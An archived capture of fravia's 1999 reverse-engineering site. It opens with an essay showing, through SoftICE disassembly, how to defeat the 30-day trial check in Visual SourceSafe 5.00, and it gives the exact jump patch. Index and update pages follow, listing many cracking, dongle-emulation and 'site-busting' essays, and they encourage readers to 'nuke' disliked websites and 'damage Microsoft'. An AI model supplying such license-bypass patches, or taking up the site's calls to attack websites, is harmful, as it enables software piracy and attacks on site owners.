Target's URL/FTP
Maybe at www.microsoft.com

Program History
Which history ???

Essay

After starting Visual SourceSafe 5.00 and logging in, a window appears and
tells us that only 30 days a remaining, before VSS expires.

Thanx a lot, I finished it and started it again. Before finishing the login,
I set a breakpoint on GetLocalTime and continued.

SoftICE breaks up here :

10037843 8D 44 24 08 lea eax, [esp+18h+var_10]


10037847 50 push eax
10037848 FF 15 34 44 06 10 call ds:GetLocalTime
1003784E 66 8B 44 24 08 mov ax, word ptr [esp+18h+var_10]
10037853 8A 4C 24 0A mov cl, [esp+18h+var_E]

Nice, nice, but not the thing we are looking for. You can look around by pressing
some "^p ret;" in your SoftICE, but this is not the right position, at least not
in the moment.

After carrying on, SoftICE pops up at exact the same position as the last time, but
this time called by another procedure :

100025C7 E8 74 52 03 00 call ?DT_GetCur@@YAJXZ ; <-- Our proc


100025CC 2B 44 24 78 sub eax, [esp+204h+var_18C] <-- eax=days
passed
100025D0 B9 80 51 01 00 mov ecx, 15180h
100025D5 99 cdq
100025D6 F7 F9 idiv ecx
100025D8 83 F8 3C cmp eax, 3Ch
100025DB 7C 23 jl short loc_10002600
100025DD C7 05 18 86 05 10 01 00+ mov dword_10058618, 1
100025E7 6A 3C push 3Ch
100025E9 68 70 D6 FF FF push 0FFFFD670h
100025EE E8 0D 83 01 00 call ?Error@MSERR@@SAHHZZ ; <-- Output Error 1

http://www.instinct.org/fravia/twd_ms_.htm (2 of 4) [2/7/2001 3:23:13 PM]


twd_vss5.htm Cracking Micro$oft Visual SourceSafe 5.00

The call at "100025C7" checks the time. The days since installation are stored in
eax.
If more than sixty days are gone, a special message box pops up. (Error 1).
There are more error messages like this one. This one is called if more than 30 days
have passed since SourceSafe expired. If you have just installed Visual SourceSafe,
it shouldn't be expired, that means it jumps to :

10002600 83 F8 1E cmp eax, 1Eh


10002603 7C 17 jl short loc_1000261C
10002605 68 71 D6 FF FF push 0FFFFD671h
1000260A E8 F1 82 01 00 call ?Error@MSERR@@SAHHZZ ; <-- Output Error 2
1000260F 83 C4 04 add esp, 4
10002612 33 C0 xor eax, eax
10002614 5E pop esi
10002615 81 C4 00 02 00 00 add esp, 200h
1000261B C3 retn

If more than 30 days and less than 60 days passed by, another message box pops up
(Error 2).
Else we keep going on jumping to :

1000261C B9 1E 00 00 00 mov ecx, 1Eh


10002621 2B C8 sub ecx, eax
10002623 51 push ecx
10002624 68 72 D6 FF FF push 0FFFFD672h
10002629 E8 D2 82 01 00 call ?Error@MSERR@@SAHHZZ ; Error 3
1000262E 83 C4 08 add esp, 8
10002631 33 C0 xor eax, eax
10002633 5E pop esi
10002634 81 C4 00 02 00 00 add esp, 200h
1000263A C3 retn

If less than 30 days are gone, SourceSafe calculates the remaining days, stores them
in ecx and outputs it with a message box. This is no real error, but it disturbs.

To kick this silly protection and to remove the message box (Error 3), the only thing
to do, is to change the

100025DB 7C 23 jl short loc_10002600

to

100025DB EB 54 jmp 10002631

This will jump short behind the message box (error 3), but it shouldn't jump on
the

1000262E 83 C4 08 add esp, 8

because this will kill the program by modifying the stack.

http://www.instinct.org/fravia/twd_ms_.htm (3 of 4) [2/7/2001 3:23:13 PM]


twd_vss5.htm Cracking Micro$oft Visual SourceSafe 5.00

As usual questions, ideas, suggestions, etc can be send to

mailto:twd(point)rulez(at)gmx(point)net
http://twdrulez.home.ml.org

Final Notes

Cracking this program was very simple. One breakpoint on GetLocalTime was enough.
Why some one should use this program is very easy to explain. The overbloated
M$ - programs make it necessary.

Ob Duh
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period than the
allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at all: you'll find it
on most Warez sites, complete and already regged, farewell.

You are deep inside fravia's page of reverse engineering, choose your way out:

Microsoft bashing

homepage links search_forms +ORC students' essays academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/twd_ms_.htm (4 of 4) [2/7/2001 3:23:13 PM]


Fravia's pages of reverse engineering: preparing reality reversers for the next Millennium

If you enjoy this site, you may be able to help me


My "fortress", located at http://fravia.org, will be partially altered, read the recent thoughts!
For missing links or speed problems try one of my main mirrors!
Europe (Kubak) Asia (Faizal) Australia (Peter) E-States (Crazyboy) W-States (Kelly)
Of course you should visit also my Webtwin +Greythorne's site (Jan 99: Congratulations!!)
Are you viewing this page in someone else's frames? Click here and get rid of them!

Software reverse
engineering and
web survival
arguments

Software protection
techniques and tools
~
Anonymity on the Web:
stalking, enemy
tracking and other

fravia's techniques
~
Reality cracking and

F pages of anti-advertisement
techniques and tools
~
How to search the web:

R reverse combing, klebing and


other strategies
~

A engineering cookies removal; bots


and web-spiders
trapping;
anti-Micro$oft and

V updated
January
1999
anti-Netscape scripts
and tricks; tools for
software reverse
engineering;
I cgi-cracking; user
self-defense; corporate
survival counter
measures; home-pages

http://www.instinct.org/fravia/index-1.htm (1 of 6) [2/7/2001 3:23:21 PM]


Fravia's pages of reverse engineering: preparing reality reversers for the next Millennium

capering and password


A cracking techniques;
commercial smut sites
busting; Java applets
reversing; vxd
monitoring;
Fravia's Nofrill
steganographical and
Web design cryptological reversing
(1998)
matters; Javascript
based site protection
and deprotection
techniques; email
patterns reversing

On the Web
since 1995!

If you have landed here for the first time, or if you are interested in the history of this site,
read a word to the confused ones before proceeding

, fravia's residence, European Union


my reader, this labyrinth of pages (you'll never be able to count them all :-) contains many teachings, and
will help you gain knowledge that you will not find elsewhere. Please wander slowly inside: sip a good
cocktail, take your time and explore at a leisurely pace. You'll find lessons on how to reverse engineer
windows, dos, linux and palmtop programs, both in order to protect or to deprotect them (fairly easy,
once you learn it); on how to search the Web using advanced techniques like 'combing' and 'klebing' (not
so easy); on how to gain real information (pretty difficult), on how to track pseudoanonymous people on
the web (fairly difficult), on how to protect your anonymity browsing the Web (quite difficult), on how
to reverse the reality around you (very difficult), on how to destroy web sites you do not like (easy...
given some conditions), on how to use (and detect) steganographical encryptions, on how to reverse or
implement javascript based site protections, on how to annoy spammers, reverse web-agents, trap bots,
write your own spiders and much more. I hope you'll enjoy this visit. Your critics and suggestions are
welcome.
fravia+

(I thank The Webc@f.net for hosting and protecting my fortress)

http://www.instinct.org/fravia/index-1.htm (2 of 6) [2/7/2001 3:23:21 PM]


Fravia's pages of reverse engineering: preparing reality reversers for the next Millennium

__Disclaimer of liability__
I do disclaim thee, Oh Liability!
All information on my site is published for educational purposes only. You may reverse engineer, debug
or crack only applications or programs you have legitimately bought, and only for your personal use.
You may bomb or nuke only sites and pages that are really lame and/or pathetically commercial-oriented
:-)

Read my short essay: Is reverse engineering legal?

__Good browsers and bad browsers__


Which browser are you using, my good reader?

I advice those of you still using Netscape (or, even worse, M$IE) to download and use from now on
Opera, an extremely highly configurable, powerful, easy to reverse and lean (less than a million bytes!)
browser that will let you forget once for all both overbloated browsersaurii and their terrible bugs. Of
course you are allowed to use Netscape on my site (if you do, take care: the best version is -by far-
good old and solide version 3, not the overbloated and buggy versions 4, 4,5 & 5).
Now, please, try to understand: you may NOT use Micro$oft's puke on my site! (Watch it! Some pages
just "play" hostility, some are seriously M$IE hostile, so: don't complain you have not been warned! :-)

__Entrance to fravia's fortress__

http://www.instinct.org/fravia/index-1.htm (3 of 6) [2/7/2001 3:23:21 PM]


Fravia's pages of reverse engineering: preparing reality reversers for the next Millennium

"if your browser is poor click on the red..."


(N.B.: The essays' database may be updated WITHOUT NOTICE)

Read the news!

For past updates, don't forget to check

Fravia's blackboard!

__Fravia's counters and anti-spam


links__

I don't use public counters nor public trackers any more, since I can easily track all my visitors wherever
they go (see here a detailed explanation). I'll just keep the Websitestory counter below, which ignores all
the "stammkunden" rushing inside from the entran.htm and the new_what.htm pages and counts only the
~ 3000 daily visitors who wait patiently at the main entrance of the fortress until the Websitestory server
has planted its cookie (i.e. mostly new visitors). Since I'll never commercialize my site, this is cool, if a
little snob: lotta real visitors (more than 80000 "hits" daily actually, according to my own server's
loggings), yet low profile!

http://www.instinct.org/fravia/index-1.htm (4 of 6) [2/7/2001 3:23:21 PM]


Fravia's pages of reverse engineering: preparing reality reversers for the next Millennium

Ignore this link. It connects to a bunch of phony E-mail addresses to frustrate address-gathering spiders
from the stupid spammers,
add such a page to your main page too, and make things more difficult for the silly commercial oriented
idiots.
I have prepared a small page of advices against commercial spammers.

__On the way out__

This site guaranteed 100% frames and advertisement free, made with full-recyclable electrons, respects
all directives of the European Union regarding environment, please don't litter

Goodbye, please damage Microsoft

If you are new Faq History Awards Stats

Entrance to Fravia's pages of reverse engineering

Search fravia's site


food for spiders, agents, trackers and worms software reverse engineering; fravia
Microsoft is prohibited from distributing this work, or any derivative works thereof, in any form, in
whole or in part, across any medium including the Microsoft Network, without purchase of a license.
Licenses for distribution are available to Microsoft for 750.000 Euro. Distribution without prior
permission constitutes an agreement to these terms. If you read this message on any Microsoft-owned
medium, please report your finding to fravia@nospam
software protection decompiling; debugging; disassembling; reverse engineering
Copyright of this site is retained by fravia+.
advanced seaarching techniques; zen-cracking; code disassembling; software reverse engineering
With exception of the above clausula regarding Microsoft, all content of this site can be freely used by all
individuals, in the European Union and elsewhere. It can also be freely distributed on the internet and on
any other network subject to the following constraints. Permission is given for the content of my site to
be distributed as a digital or paper document in one of two ways. (1) as 'complete site', including this
copyright notice. (2) as 'abbreviated or summarised site', accompanied by detailed instructions on where
to get my complete site. Permission is not given for the content of this site to be reproduced for the

http://www.instinct.org/fravia/index-1.htm (5 of 6) [2/7/2001 3:23:21 PM]


Fravia's pages of reverse engineering: preparing reality reversers for the next Millennium

purpose of generating profit, including both (1) being printed in a book to be sold and (2) being held in a
database system for paid retrieval purposes. Anyone wishing to use the contents of my site for profit
purposes should contact the Editor.

(c) Fravia, 1995, 1996, 1997, 1998, 1999.


All rights reserved, in the European Union and elsewhere

This page's rubbish load = 72771 bytes (January 1999)

Black text on my gray #C0C0C0 background: 22704 bytes (of course no frames)
4 Images:
bulletr.gif (used, and stretched, 22 times :-) 882 bytes
blackbo.gif (black background :-) 573 bytes
bilicit3.jpg (my vanity :-) 34965 bytes
webcafe.gif (my protectors) 13647

http://www.instinct.org/fravia/index-1.htm (6 of 6) [2/7/2001 3:23:21 PM]


Fravia's Ooops! page

Fravia's
"What's new" Page
Has
Moved
Here...
Please always entry my fortress from the main entrance....

http://www.instinct.org/fravia/new_what.htm [2/7/2001 3:23:23 PM]


new_what.htm All new things on fravia's site

fravia's frozen site


Webmasters! Watch it! Link only to my frozen fortress!

Main Labs
[Software reversing Lab] [Reality cracking Lab] [Anonimity Lab] [How to search Lab]
[Javascript protections Lab] [Protecting better Lab]

["GENERAL" Messageboard] ['TOOLS OF THE TRADE' messageboard]

Wait patiently: table is loading, and... you always better SHIFT+Reload just in case...
The "Millennium" +HCU strainer and lesson 2 of this year's courses (by +Aesculapius) have been
published!

10 dec 1999 December: Faint sounds from far away


two months sailing :-) November: Faint sounds from far away
Fravia+ and +Malattia attended a meeting in Brussel
(Belgium). We enjoyed drinking beer (may be too
10 October 1999 many? :-) with our Benelux friends at the "Mort
the "cheshire cat" trick Subite", where I have decided to "freeze" this site for
the time being, see you elsewhere on the web,
eventually...
You will find on the "hyperjavascript" page (entrance at
vao_hype.htm) a new essay by -Sp!ke: Rage War
Reversing simple JS page protection ~ Two small
"site-busting" contributions: 1): sozni_91.htm: The art
of guessing, by .sozni and 2) index_ha.htm: an hacking
attack against the index page of my new fortress by
sortof, both part of the ideale.htm section. ~
radmin.htm: A paranoic protection: Remote
administrator viewer , by Staier (part of the
1-15 October 1999 advanced.htm section) ~ cb_vb6_1.htm: VB6-Pcode
Reversing - Cracking a VB6-Pcode Crackme, visual
Contents: basic reversing, by CyberBlade (and disavowed) part of
Hyperjavascript ~ fortress hacked & the Project8.htm section ~ parano1.htm: The way things
site-busting ~ paranoid protections ~ visual are different: an example of paranoia, by vanrigter part
basic p-code ~ paranoia ~ Rsagnt32.dll ~ of the realicra.htm section ~ so_macr1.htm:
Bruteforcing ~ algorithm reversing ~ Macromedia's Drumbeat 2000: There's Bugs in the
program's Security reversing ~ Woodwork ~ Rsagnt32.dll upgrade, by Sojourner ~

http://www.instinct.org/fravia/what_new.htm (1 of 10) [2/7/2001 3:23:33 PM]


new_what.htm All new things on fravia's site

along_01.htm: How to reverse our target creating a


good Brute Force Cracker!, by aLoNg3x ~
smegg_01.htm: Reversing an algorithm to ensure
gameing success and fame on the internet by Smegget
~ lati_005.htm: See how programmers care when it is
about user's own data security: Calypso by Latigo ~
Slightly updated pages: history.htm; links.htm;
index.htm; protec.htm; alphabe.htm; index.html;
fravia.htm;
creditca.htm: Economic Wargames and credit card
stupidity, by Dal Timgar , (part of the realicra.htm
section); ~ Four! Advanced essays (all three of them
part of the advanced.htm section): 1): flex2_45.htm:
Reversing Globetrotter's Flexcrypt (Key Extraction and
Encryption Algorithm Reversing), by Nolan Blender;
2): nol_02_f.htm: Reversing the report encryption
algorithm for the flexlm license manager,by Nolan
Blender, (both are also part of the new flexlm.htm
section); 3) conseal.htm: How to crack Conseal PC
Firewall in an 'unusual' way, by NeuRaL_NoiSE; 4)
nnhnpad.htm: Reversing, functions addition,
modifications in the existing code (and classic cracking
of a typical M$-target: notepad.exe), by
NeuRaL_NoiSE (this one is also part of the
corporat.htm section); ~ sono_bot.htm: A handy search
tool and intro to REBOL, by sonofsamiam; (part of the
16-30 September 1999 botstart.htm section) ~ anonzer0.htm: Making an
anonymous mailer & Messing with data structures, by
Contents: +Zer0 (part of the noanon.htm section and of the
credit cards stupidity ~ Encryption Algorithm anonema.htm section) ~ lotusmil.htm: An historical
Reversing ~ Hooking API calls via IAT ~ protection scheme: Lotus SmartSuite-Mellinium
Reversing & functions addition ~ Rebol bot! ~ Edition, by +NetHack (for those interested in the
Home-made anonymous remailer ~ Historical history of protection schemes) ~ msaccess.htm:
protections: Lotus ~ Stupid protections: Cracking Access Databases (Beating M$ with his own
Micro$oft ~ CD-checks ~ FlexLM ~ alphabe! tools) , by LaptoniC; (part of the project7.htm "most
stupid protections" section) ~Two "CD-check" essays,
by zoltan: 1): d2kessay.htm: Reverse Engineering The
Protections From WestWood - DUNE; 2)
zltcomma.htm: How to defeat the cd-lock protectIon -
COMMAND; (both part of the project4.htm
"CD-checks" section) ~ Three FlexLM contributions:
1) revework.htm: The flexlm challenge and cooperative

http://www.instinct.org/fravia/what_new.htm (2 of 10) [2/7/2001 3:23:33 PM]


new_what.htm All new things on fravia's site

reversers' work, by AAVV; 2) nol_02_f.htm: Reversing


the report encryption algorithm for the flexlm license
manager, by Nolan Blender; 3) dan_fle5.htm: Flexlm
v6.1 new feature lc_new_job(), by Dan; (all three part
of the flexlm.htm new section) ~ alphabe.htm: Some
more order at fravia's ~ Slightly updated pages:
jef_rem4.htm; noanon.htm; tools.htm; index.htm;
index.html; fravia.htm; new_what.htm &
what_new.htm; pepper2.htm; tech01.htm; threade.htm;
addispl1.htm: Cracking binary boy an Ad display free
program, by +Tsehp, (part of the antiadve.htm section);
~ sojorose.htm: A Rose Unfolds Before Us. A License
by any Other Name, by Sojourner ~ Two
Unpacking-related essays: 1) patchpck.htm: Generating
a patch for a packed program: Another approach to
cracking packed programs, by Lord Soth; 2)
threade.htm: Cracking a packed exe. _packer: Neolite
1-15 September 1999 2.0 _program: AZPR 2.31., by Staier; both part of the
projunpa.htm section; ~ goto99co.htm lesson 2 of this
Contents: year's +HCU courses ~ best0001.htm: Attacks against
~ ad display cracking ~ licensing tricks ~ the BEST encryption algorithm: chaos is definitely not
unpacker galore ~ tackling the BEST randomness by +Spath (part of the advanced.htm and of
challenge! ~ dvd for free ~ an unusual perl bot the papers.htm sections); ~ gogogirl.htm: ABSOLUTE
and a new version of the HCUbot ~ Adding BEGINNERS: computer knowledge for girls by
functionalities to a window program ~ Gogogirl ~ frog_dvd.htm: How to get a region code
corporate tricks free M$ DVDPlayer by +Frog's Print ~ lazcalc.htm:
Adding functionality to the Windows Calculator by
LaZaRuS (part of the advanced.htm and of the
papers.htm sections); ~Two essays about bots: 1)
botcgi.htm: Mirbot 1.0: a very special kind of a Robot
by The Mystical Friend and 2) rt_bot2.htm: The
HCUbot: a simple Web Retrieval Bot in Perl (version
2), by deep; both part of the botstart.htm section. ~
Slightly updated pages: corporate.htm
Nice holydays. Updates will slow up from now on.
For those interested, in August I have held (I have been
August 1999 told with success :-) a workshop at the CCC camp near
Berlin: "Software reversing: beyond simple protection
cracking".

http://www.instinct.org/fravia/what_new.htm (3 of 10) [2/7/2001 3:23:33 PM]


new_what.htm All new things on fravia's site

straine1.htm and millen1.htm: The +HCU


"Millennium" strainer
goto99co.htm: entrance to the +HCU 1999 courses
(by +Aesculapius and other older ones :-)
perl_es1.htm: Perl@usa.net ~ How to reverse a "free"
service by [blue]~ Part of the botstart.htm "Bots"
section and of the remobann.htm "Removing banners"
section (which is itself part of the antiadve.htm
"Anti-advertisemenet" section) ~ ghiridum.htm:
Ghiribizzo's A Quick Guide To Using IceDump/Bhrama
Part of the Numega's project old section; ~
cryptunt.htm: On cryptosystems untrustworthiness, by
Pavel V. Semjanov (part of the papers.htm section ~
blackche.htm: C-Dilla Safedisc: Another comercial
Protection defeated, by Black Check, (part of the
advanced.htm and of the protec.htm sections) ~
15-31 July 1999 laza_s11.htm: Finding standard functions in
Delphi/C++ Builder, by LaZaRuS, (part of the
Contents: papers.htm section) ~Two FlexLM - related essays: 1)
The Millennium strainer! ~Perl! ~ wankbob.htm: FlexLM - Alternative Method for License
Anti-advertisement updates ~ Softice ~
Generation, by Acme; 2) tp_flex.htm: Analysis of Key
cryptoreversing ~ C-Dilla ~ Delphi ~ +HCU
1999! ~ FlexLM ~ Perl-bots! ~ Chown! ~ Generation Techniques within FlexLM (Unix
Regmonitoring for beginners ~ Reversing reversing), by Nolan Blender, part of the papers.htm
information ~ Reversing Opera section; ~ rt_bot1.htm: The HCUbot: a simple Web
Retrieval Bot in Perl, by deep, (part of the botstart.htm
section) ~ chown_bl.htm: Who owns your files?
Security thorough obscurity by [blue], the great
CHOWN essay! (part of the corporat.htm section) ~
scla_psp.htm: Paint Shop Pro v5.0: Basic
regmonitoring techniques, by Santa Clawz ~
kennedea.htm: About the media coverage of young
Kennedy's death by Super-Samantha, (part of the
reveinfo.htm section) ~ as_opera.htm: Reversingthe
protection scheme of Opera 3.60, by -alx ~ Slightly
updated pages: links.htm; index.htm; index.html;
fravia.htm; corporate.htm

http://www.instinct.org/fravia/what_new.htm (4 of 10) [2/7/2001 3:23:33 PM]


new_what.htm All new things on fravia's site

puppet1.htm: Tom Pedersen's The puppeteers ~ Part of


the Reality cracking section; ~ volati_s.htm: Volatily's
Manually Unpacking - ASPack v1.083 Part of the
Packers and Unpackers section; ~ sice_al1.htm:
Kaxeli's Softice's DigitCheck's Checkdigit :-) Part of the
Numega's project old section; ~ covert1.htm: c0v3rt+'s
Adding sections to PE Files: Enhancing functionality of
programs by adding extra code. Part of the papers.htm
section; ~ andrew1.htm: Andrew Schulman's utilities -
1-15 July 1999 1 (source code and compiled exe). Part of the new
Contents: orc.htm "Reversing Gods" section; ~ A new Java
Puppeteers ~ Unpacking ~ Softice ~ section with four essays and links collections by my
Anti-advertisement updates ~ Reversing Gods dogg Erl et alia: erl_jav0.htm: Beagle's guide to Java:
~ Java! ~ Accmail digging in. "A hike through the garden of Java";
erl_jav1.htm: Beagle's guide to Java: the Links, page 1,
"after anger hung red moon"; erl_jav2.htm: Beagle's
guide to Java. the Links, page 2, "call for phillip
morris!"; erl_jav3.htm: Beagle's guide to Java: Ask the
Library Cat. "How does the Library Cat find things,
again?" ~ boyd1.htm: The importance of accmail by
fravia+, part of the howtosea.htm section ~ Slightly
updated pages: links.htm; jef_rem4.htm; index.htm;
anmsscri.htm; orc1.htm
Two essays by Pilgrim: 1) flexm11.htm: FlexLm handy
hints (more stuff on FlexLm) and 2) pflexlo1.htm:
FlexLock...less secure than the rest of FLEXlm ~
menusspa.htm: Theory and practice of menus reversing,
by +Spath (part of the papers.htm section and of the
advanced.htm section) ~ Three 'Banner removing'
additions: remobann.htm: 1): terr22.htm: More banner
removing, by TeRR0RNauT; 2): jef_rem4.htm Jeff's
test sites; 3): gorhost.htm: Gordon's mighty HOSTS
trick and file ~ Four 'hyper javascript' essays: three
"compilations" by TheSeeker: 1): Javascript protection
reversing revised: First issue : Collector's items
(COMPILATION) 2): Javascript protection reversing
Second issue: (a quick look) behind the looking glass
(DESCRIPTION) 3): Crypto with Javascript: First
16-30 June 1999 issue: The vintage years (rough version)
Contents: (ENCRYPTION) and a very smart essay by Laurent:
FlexLm and FlexLock ~ Menu reversing ~ The impossible entrance: a first solution (Applying a
More banner removing ~ Hyperjavascript scoring method to guess the key). To get there see the

http://www.instinct.org/fravia/what_new.htm (5 of 10) [2/7/2001 3:23:33 PM]


new_what.htm All new things on fravia's site

galore~ rsagnt32.dll~ social engineering~ "hyperjavascript entrance" at vao_hype.htm ~


Javascript Lapalien~ Anonymity~ Assembler~ sojoagen.htm: Sojourner 's Busting through the newest
Sniffing hidden files (June 99) rsagnt32.dll (Macromedia) ~ social_1.htm:
An example of social engineering, one of the easiest
ways to gather informations, by _A&T, June 1999 (part
of the luring.htm section and of the enemy.htm section)
~ easyjstr.htm: Easy javascript tricks (part of the
javascri.htm Lab) ~ anony_30.htm: Better E-Mail
Anonymity, by a295225(at)hotmail (part of the
noanon.htm section and of the anonema.htm section) ~
hutch_su.htm: Hutch's (SLH) secrets of writing elegant
and fast assembler ~ spider.zip: Ward van Wanrooij's
Wininet.dll secrets (Revealing hidden files which
record user-activity) ~ Slightly updated pages:
aitodelp.htm, jef_rem4.htm, cocktail.htm,
anmsscri.htm, project9.htm, cocktail.htm, papers.htm,
blackbo.htm and io13.htm.
Views on software protection by various programmers
and reversers, part of the how to protect better serie ~
crunchi8.htm: Joa's Little essay about the various
methods and viewpoints of crunching. Part VIII:
Burrows - Wheeler - Transformation (BWT) ~
links.htm, help.htm, whatdika.htm, realicra.htm and
tools.htm (a complete C source code for
disassembling!) updated ~ vao_hype.htm: many small
advanced javascript essays by bajunny, Iker, The
Seeker and sNv plus some other essays from the wide
wide web plus The Seeker's javascript debugger! All
these essays are on the Hyper Javascript page, where
you will now also find the new "password-compilation"
1-15 June 1999
Javascript page a 'working in progress' new lab,
Contents: moderated by The Seeker and some clever attempts to
To protect or not to? ~ Crunching along ~ solve the impossible entrance by sNw and Don Quijote
hyper javascript galore! ~ Kosovo ~ trainers! ~ ~ bajunny's chrom_1.htm "Burning Chrome" (cracking
nuke those ads! ~ decrypting archives and the war in Kosovo) ~ trainer1.htm: "The Ancient Art of
InstalSHIELD Zen Cracking ~ Delphi
Training", by A nameless stranger ~
reversing ~
Anti-advertisement section: three new essays!: 1):
sha2adw.htm: "How to find and eliminate our
communication with the machines that are targeting us
with ads" by Kept_Anonymous; 2): remocra1.htm:
+tsehp's Tool for removing banners and pop ups; 3):
jef_rem4.htm: Jeff's An ongoing lab on banners

http://www.instinct.org/fravia/what_new.htm (6 of 10) [2/7/2001 3:23:33 PM]


new_what.htm All new things on fravia's site

removing ~ Installshield and archives decryption: two


essays: 1) decrymla.htm: Eric's "Decrypting encrypted
archives" (using Mathlab as an example) and 2)
rox_inst.htm: +RoXrOb "InstalSHIELD Script Zen
Cracking" ~ aitodelp.htm: +Aitor "Delphi Reverse
Engineering DFM Files, Windows RCDATA and Object
Conversion Routines" ~
tapunato.htm: Cracking The World War III Show: A
War Without Good Guys by Tapu ~ remobann.htm:
How to remove advertisement banners from freepages
by Various Authors (part of the anti-advertisement new
section) ~ A Packed protection by +tsehp ~ The +HCU
"Millennium" strainer (part 1) by fravia+, +Greythorne
and Steinowitz (in fieri) ~ Convincing Real Player Plus
G2 to Record: Enabling Record Functionality for Audio
Clips by sNw (useful for programmers!) ~ help.htm and
16-31 May 1999 history.htm and flexm.htm updated ~ VBox Builder
Contents: 4.2, a TRW session by PLUMe, part of the
How to eliminate banners ~ Tapu on timelock.htm serie ~ archim1.htm: Reverse engineering
Yugoslavia ~ packed protections ~ Millennium of InstallShield Eval/DemoVersion 5.5 (Change a
Strainer ~ recording the unrecordable ~ good temporary file) by Archimede ~ Lotta new things at the
ole timelock and InstallShield ~ the great three advanced javascript pages (entrances at
return of the advanced javascript pages javascri.htm): 1) "A recursive procedure to generate the
possibilities", by sepulcrum of revolution (on the
advanced javascript page) ~ 2) Coasting Along On A
Wave by +Sandman (on the "devious" javascript page)
~ vao_hype.htm: the entrance to the new
"hyperprotectons" javascript page where you will find
(among other things) ~ 3) JS Protection schemes:
"Printing directly to frames without a CGI", by fravia+
~ 4) JS Protection schemes: "User input and javascript",
by fravia+ ~ 5) JS Protection schemes: "How to encrypt
with Javascript", by fravia+

http://www.instinct.org/fravia/what_new.htm (7 of 10) [2/7/2001 3:23:33 PM]


new_what.htm All new things on fravia's site

NATO aggression adjectives by fravia+, beside being


part of the text cracking section, this essay inaugurates
also my new screaming truth section ~ IRC Bot/Script
Wars by Sourceror, part of the bots wars section ~
Three essays for the software reversing section: 1)
hacking a computer with Fortres by --==[ St0rmer ]==--
and 2) cracking the hotline sw client v1.2 and server
v1.0 b8 by douby^dread and 3) Generation of older
1-15 May 1999 style FLEXlm license files by VoxQuietis ~ Two
Contents: essays for the how to search section: 1) keyboard
Propaganda's exegesis ~ bots wars ~ good ole identification by Surreal5, and 2) Archie searches and
cracking ~ who's writing there? ~ how to search parameters explained by Kuririn. ~ Two essays
archie ~ dead listing masters and CRC experts
for the +HCU papers section: 1) How to dead list by
~ market research and internationalising our
essays Svd and 2) CRC and how to Reverse it by anarchriz ~
Two essays for the reality cracking section: 1) Market
Research and Its Role In Enslavement ~ A Brief
Description of Techniques Used By Marketers To
Enslave by Tony ByGarthnos, and 2) La rbellion des
esclaves, Marbou Lalouse's french translation of
+ORC's famous essay: Supermarket enslaving tricks ~
sealight.htm (search engines) updated! ~ statoo.htm
(stalking tools) updated!
I have crossed. Fravia's site is being altered, see my
recent thoughts if you'r interested, read the history of
April 1999
fravia's site if you want to know more about the
syn-attacks I had to endure.
probet_1.htm: +puarc's Protection Techniques (1): How
to protect your C programs (How to protect better
section) ~ Two essays about orc related stuff: 1):
zenstal.htm by aZh nAZg, about the correct stalking
'mood' you should need in order to stalk +ORC's old
gate ~ 2): whosorc.htm by aZh nAZg, +ORC
revealed... the best of Zen stalking (this one is relevant
20 January 1999 also for the javascript reversing lab) ~ Advanced
Contents: Javascript pages: The 'WHEEL OF FORTUNE'
Serious protections (1) ~ stalking +ORC ~
solution by Pr!Me5 ~ softtric.htm: +OCHE
Advanced Javascript ~ Softice for the Masses
SATRIANI's & +OBLEK's How to trick Numegas
~ bye bye CD-Cops ~ Bashing the paranormal
registration routines (and download everything you
~ dead listing advanced teachings
want from Numega's site) disassembling Softice itself ~
cdromcla.htm: McLallo's CD-Cops, Another
ready-made protection annihilated, part of the CD-Rom

http://www.instinct.org/fravia/what_new.htm (8 of 10) [2/7/2001 3:23:33 PM]


new_what.htm All new things on fravia's site

cracking lab ~ Two essays for the reality cracking


section: 1) parano1.htm by Furtim Bashing the
paranormal crap ~ 2) empeclot.htm The Priest's Jobs
and tailoring (An unveiling)
kilbycd.htm: Kilby's Reversing Thief and the current
Eidos protection scheme (CD-Rom cracking) ~
svdcd1.htm: Svd's "Offline" debugging and other little
marvels (part of the protecting better section) ~
marajasp.htm: Indian Maharaja's Active Server Page
reversing, part of the Site busting section ~ Server
exploit essays added ~ How to protect, rules, Micro$oft
9 January 1999 bashing, fp_dong1.htm, kuririrh.htm and formamus
Contents: revamped ~ remoex.htm: Remote Explorer: McAfee's
CD-Rom cracking ~ little offline marvels ~ selling trick or an interesting target? (part of the
updating ~ Active Server Page reversing ~ Micro$oft bashing section) ~ talbott1.htm: Steve
Remote Explorer ~ Advanced reality cracking Talbott's Can open standards suffocate us? Some
~ Flexcrypt revisited ~ stupid protections ~ unsystematic notes on standardization an advanced
bye bye releasesoft ~ emulating dongles reality cracking essay ~ int21_m2.htm: int24h's
Explaining a very stupid quiver protection ~ TWO files
from the How to protect better section: 1)pilgrim2.htm:
Pilgrim's Further FlexCrypt analysis ~ 2) india_r1.htm:
Indian1998+ Cracking a Commercial Time Trial
Protection using Wdasm32 as debugger (bye bye
Releasesoft) ~ project3.htm: A nex tools for dongle
emulation

For more remote updates (1997 and 1998), don't forget to check

Fravia's blackboard!

Choose another page!

homepage links anonymity +ORC students' essays academy database bots wars
antismut tools cocktails javascript wars search_forms mail_fravia

http://www.instinct.org/fravia/what_new.htm (9 of 10) [2/7/2001 3:23:33 PM]


new_what.htm All new things on fravia's site

Is reverse engineering illegal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/what_new.htm (10 of 10) [2/7/2001 3:23:33 PM]


millen1.htm: +HCU Millennium Strainer Anti-debugging techniques inter alia

+HCU Millennium Strainer: 26 July 1999 "Here it is!"

A delayed strainer
by Fravia+
Dear readers, I'm proud to introduce the Millennium
strainer, for the +HCU 2000 courses. I know that we
are late: due to the problems that are listed elsewhere
we have had a three-months delay in the presentation of
the strainer this year. I would tehrefore propose that all
your answers for admission should be presented either
to +Aesculapius, to +ORC, to +Greythorne, or to me
BEFORE THE 15 December 1999, so that you will have
four months and two weeks to solve the strainer and we
will have some time for the evaluation of all results. We
hope that +ORC will send his contribute very soon, but
we will anyway publish the fourth challenge of this
strainer before the end of August.

+HCU "Millennium" Strainer (Strainer 1999)


By Aesculapius
------------------

Aspirant HCUckers around the world, welcome back. This is the part
of reversing that I mostly like, because I have the opportunity to make some
statements and be sure I'll be heard by the best reversers worldwide. Before
I begin with the technical part, I want to express my gratitude and
commitment to the +HCU's members, specially to those who make possible its
